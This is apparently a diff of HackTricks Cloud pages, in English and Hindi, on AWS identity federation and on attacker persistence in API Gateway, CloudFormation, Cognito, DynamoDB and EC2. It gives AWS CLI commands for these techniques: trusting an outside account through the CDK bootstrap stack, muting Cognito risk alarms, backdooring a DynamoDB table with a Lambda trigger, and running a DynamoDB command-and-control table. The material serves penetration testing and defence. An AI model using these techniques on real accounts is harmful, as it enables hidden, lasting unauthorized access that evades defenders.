ध्यान दें कि क्रेडेंशियल्स को निम्नलिखित प्रारूप में STDOUT पर लौटाया जाना _चाहिए_:
|
||||
|
||||
Note that credentials _must_ be returned to STDOUT in the following format:
|
||||
```json
|
||||
{
|
||||
"Version": 1,
|
||||
"AccessKeyId": "an AWS access key",
|
||||
"SecretAccessKey": "your AWS secret access key",
|
||||
"SessionToken": "the AWS session token for temporary credentials",
|
||||
"Expiration": "ISO8601 timestamp when the credentials expire"
|
||||
}
|
||||
"Version": 1,
|
||||
"AccessKeyId": "an AWS access key",
|
||||
"SecretAccessKey": "your AWS secret access key",
|
||||
"SessionToken": "the AWS session token for temporary credentials",
|
||||
"Expiration": "ISO8601 timestamp when the credentials expire"
|
||||
}
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
## References
|
||||
|
||||
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
|
||||
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
|
||||
|
||||
@@ -4,81 +4,84 @@
|
||||
|
||||
## SAML
|
||||
|
||||
SAML के बारे में जानकारी के लिए कृपया देखें:
|
||||
For info about SAML please check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
**SAML के माध्यम से एक पहचान संघ** को कॉन्फ़िगर करने के लिए, आपको केवल एक **नाम** और **मेटाडेटा XML** प्रदान करने की आवश्यकता है जिसमें सभी SAML कॉन्फ़िगरेशन (**एंडपॉइंट्स**, **सार्वजनिक कुंजी के साथ प्रमाणपत्र**) शामिल हैं।
|
||||
In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
|
||||
|
||||
## OIDC - Github Actions Abuse
|
||||
|
||||
एक github क्रिया को पहचान प्रदाता के रूप में जोड़ने के लिए:
|
||||
In order to add a github action as Identity provider:
|
||||
|
||||
1. For _Provider type_, select **OpenID Connect**.
|
||||
2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
|
||||
3. Click on _Get thumbprint_ to get the thumbprint of the provider
|
||||
4. For _Audience_, enter `sts.amazonaws.com`
|
||||
5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
|
||||
7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
|
||||
8. Finally use a github action to configure the AWS creds to be used by the workflow:
|
||||
|
||||
1. _Provider type_ के लिए, **OpenID Connect** चुनें।
|
||||
2. _Provider URL_ के लिए, `https://token.actions.githubusercontent.com` दर्ज करें।
|
||||
3. प्रदाता के थंबप्रिंट को प्राप्त करने के लिए _Get thumbprint_ पर क्लिक करें।
|
||||
4. _Audience_ के लिए, `sts.amazonaws.com` दर्ज करें।
|
||||
5. एक **नया भूमिका** बनाएं जिसमें **अनुमतियाँ** हों जो github क्रिया को चाहिए और एक **विश्वास नीति** जो प्रदाता पर विश्वास करती हो जैसे:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. पिछले नीति में ध्यान दें कि केवल एक **शाखा** को एक **संस्थान** के **भंडार** से एक विशिष्ट **ट्रिगर** के साथ अधिकृत किया गया था।
|
||||
7. **ARN** उस **भूमिका** का होगा जिसे github क्रिया **प्रतिनिधित्व** करने में सक्षम होगी, इसलिए इसे एक **गुप्त** के अंदर एक **पर्यावरण** में **स्टोर** करें।
|
||||
8. अंत में, कार्यप्रवाह द्वारा उपयोग किए जाने वाले AWS क्रेडेंशियल्स को कॉन्फ़िगर करने के लिए एक github क्रिया का उपयोग करें:
|
||||
```yaml
|
||||
name: "test AWS Access"
|
||||
|
||||
# The workflow should only trigger on pull requests to the main branch
|
||||
on:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
|
||||
# Required to get the ID Token that will be used for OIDC
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
|
||||
jobs:
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
```
|
||||
## OIDC - EKS दुरुपयोग
|
||||
|
||||
## OIDC - EKS Abuse
|
||||
|
||||
```bash
|
||||
# Crate an EKS cluster (~10min)
|
||||
eksctl create cluster --name demo --fargate
|
||||
@@ -88,34 +91,43 @@ eksctl create cluster --name demo --fargate
|
||||
# Create an Identity Provider for an EKS cluster
|
||||
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
|
||||
```
|
||||
यह संभव है कि **EKS** क्लस्टर में **OIDC providers** उत्पन्न किए जाएं, बस क्लस्टर के **OIDC URL** को **नए Open ID Identity provider** के रूप में सेट करके। यह एक सामान्य डिफ़ॉल्ट नीति है:
|
||||
|
||||
It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
यह नीति सही ढंग से संकेत कर रही है कि **केवल** **EKS क्लस्टर** जिसका **id** `20C159CDF6F2349B68846BEC03BE031B` है, वह भूमिका ग्रहण कर सकता है। हालाँकि, यह यह नहीं बता रहा है कि कौन सी सेवा खाता इसे ग्रहण कर सकता है, जिसका अर्थ है कि **कोई भी सेवा खाता जिसमें एक वेब पहचान टोकन है** वह भूमिका ग्रहण करने में **सक्षम होगा**।
|
||||
|
||||
**जिस सेवा खाते को भूमिका ग्रहण करने में सक्षम होना चाहिए,** उसे निर्दिष्ट करने के लिए, एक **शर्त** निर्दिष्ट करना आवश्यक है जहाँ **सेवा खाता नाम निर्दिष्ट किया गया है**, जैसे:
|
||||
This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
|
||||
|
||||
In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
|
||||
|
||||
```bash
|
||||
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,16 +2,20 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
ये वे अनुमतियाँ हैं जो आपको प्रत्येक AWS खाते पर चाहिए होती हैं जिसे आप ऑडिट करना चाहते हैं ताकि आप सभी प्रस्तावित AWS ऑडिट टूल चला सकें:
|
||||
These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
|
||||
|
||||
- डिफ़ॉल्ट नीति **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- [aws_iam_review](https://github.com/carlospolop/aws_iam_review) चलाने के लिए आपको निम्नलिखित अनुमतियों की भी आवश्यकता है:
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- वैकल्पिक यदि क्लाइंट आपके लिए एनालाइज़र उत्पन्न करता है, लेकिन आमतौर पर इस अनुमति के लिए बस पूछना आसान होता है)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- वैकल्पिक यदि क्लाइंट आपके लिए एनालाइज़र हटा देता है, लेकिन आमतौर पर इस अनुमति के लिए बस पूछना आसान होता है)
|
||||
- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# AWS - Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Modify the resource policy of the API gateway(s) to grant yourself access to them
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
|
||||
Or just remove the use of the authorizer.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
|
||||
Or just remove the use of the authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
If API keys are used, you could leak them to maintain persistence or even create new ones.\
|
||||
Or just remove the use of API keys.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,32 +0,0 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
API gateway(s) की resource policy को संशोधित करके अपने लिए उन तक पहुँच प्रदान करें
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Lambda authorizers के कोड को संशोधित करें ताकि आप सभी endpoints तक पहुँच प्राप्त कर सकें।\
|
||||
या बस authorizer के उपयोग को हटा दें।
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
यदि कोई resource IAM authorizer का उपयोग कर रहा है, तो आप IAM permissions संशोधित करके अपने लिए उस तक पहुँच दे सकते हैं।\
|
||||
या बस authorizer के उपयोग को हटा दें।
|
||||
|
||||
### API Keys
|
||||
|
||||
यदि API keys का उपयोग हो रहा है, तो आप उन्हें leak करके persistence बनाए रख सकते हैं या नए keys बना सकते हैं।\
|
||||
या बस API keys के उपयोग को हटा दें।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
For more information, access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
The AWS CDK deploys a CFN stack called `CDKToolkit`. This stack supports a parameter `TrustedAccounts` which allow external accounts to deploy CDK projects into the victim account. An attacker can abuse this to grant themselves indefinite access to the victim account, either by using the AWS cli to redeploy the stack with parameters, or the AWS CDK cli.
|
||||
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,23 +0,0 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
AWS CDK `CDKToolkit` नामक एक CFN stack को डिप्लॉय करता है। यह stack `TrustedAccounts` नामक एक parameter को सपोर्ट करता है, जो बाहरी accounts को victim account में CDK projects deploy करने की अनुमति देता है। एक हमलावर इसका दुरुपयोग करके स्वयं को victim account तक अनिश्चितकालीन पहुँच दे सकता है, या तो AWS cli का उपयोग करके parameters के साथ stack को पुनः डिप्लॉय करके, या AWS CDK cli का उपयोग करके।
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,46 @@
|
||||
# AWS - Cognito Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
For more information, access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### User persistence
|
||||
|
||||
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
|
||||
|
||||
- **Adding a User Pool** controlled by the user to an Identity Pool
|
||||
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- Or to an **authenticated Identity Pool** if the attacker can login
|
||||
- Or **improve the permissions** of the given roles
|
||||
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
|
||||
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
|
||||
|
||||
Check how to do these actions in
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
|
||||
By default this is disabled:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,40 +0,0 @@
|
||||
# AWS - Cognito स्थायित्व
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### उपयोगकर्ता स्थायित्व
|
||||
|
||||
Cognito एक सेवा है जो अनप्रमाणित और प्रमाणित उपयोगकर्ताओं को roles देने तथा उपयोगकर्ताओं की directory को नियंत्रित करने की अनुमति देती है। कुछ अलग-अलग configurations को बदला जा सकता है ताकि कुछ स्थायित्व बनाए रखा जा सके, जैसे:
|
||||
|
||||
- **Adding a User Pool** जो उपयोगकर्ता द्वारा नियंत्रित हो, उसे एक Identity Pool में जोड़ना
|
||||
- एक **IAM role** को unauthenticated Identity Pool को देना और Basic auth flow की अनुमति देना
|
||||
- या एक **authenticated Identity Pool** को अगर हमलावर login कर सके
|
||||
- या दिए गए roles के permissions में सुधार करना (**improve the permissions**)
|
||||
- **Create, verify & privesc** attributes नियंत्रित users या **User Pool** में नए users के माध्यम से
|
||||
- **Allowing external Identity Providers** को User Pool या Identity Pool में login करने की अनुमति देना
|
||||
|
||||
इन क्रियाओं को कैसे करना है देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-cognito-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
इस privilege वाला हमलावर risk configuration को बदल सकता है ताकि वह Cognito user के रूप में login कर सके **बिना alarms trigger हुए**। [**cli देखें**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) सभी विकल्पों की जाँच करने के लिए:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
डिफ़ॉल्ट रूप से यह अक्षम है:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,67 @@
|
||||
# AWS - DynamoDB Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
For more information access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
|
||||
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
|
||||
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
|
||||
|
||||
### DynamoDB as a C2 Channel
|
||||
|
||||
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
|
||||
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,59 +0,0 @@
|
||||
# AWS - DynamoDB स्थायी पहुँच
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB ट्रिगर्स के साथ Lambda Backdoor
|
||||
|
||||
DynamoDB ट्रिगर्स का उपयोग करके, एक हमलावर किसी टेबल के साथ एक दुर्भावनापूर्ण Lambda function जोड़कर एक **गुप्त backdoor** बना सकता है। Lambda function तब ट्रिगर हो सकता है जब कोई item जोड़ा, संशोधित, या हटाया जाता है, जिससे हमलावर को AWS खाते के भीतर मनमाना कोड निष्पादित करने की अनुमति मिलती है।
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
स्थिरता बनाए रखने के लिए, हमलावर DynamoDB table में items बना या संशोधित कर सकता है, जो malicious Lambda function को trigger करेगा। यह हमलावर को Lambda function के साथ सीधे इंटरैक्शन किए बिना AWS account के भीतर code execute करने की अनुमति देता है।
|
||||
|
||||
### DynamoDB as a C2 Channel
|
||||
|
||||
हमलावर DynamoDB table का उपयोग एक **command and control (C2) channel** के रूप में कर सकता है, items बनाकर जिनमें commands शामिल हों और compromised instances या Lambda functions का उपयोग कर इन commands को fetch और execute करवाया जा सके।
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Compromised instances या Lambda functions समय-समय पर C2 table में नए commands के लिए चेक कर सकते हैं, उन्हें execute कर सकते हैं, और वैकल्पिक रूप से परिणामों को वापस table में report कर सकते हैं। इससे attacker को compromised resources पर persistence और control बनाए रखने की अनुमति मिलती है।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,58 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
|
||||
|
||||
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
|
||||
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Backdooring the **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor the used AMI
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
|
||||
### VPN
|
||||
|
||||
Create a VPN so the attacker will be able to connect directly through i to the VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,62 +0,0 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
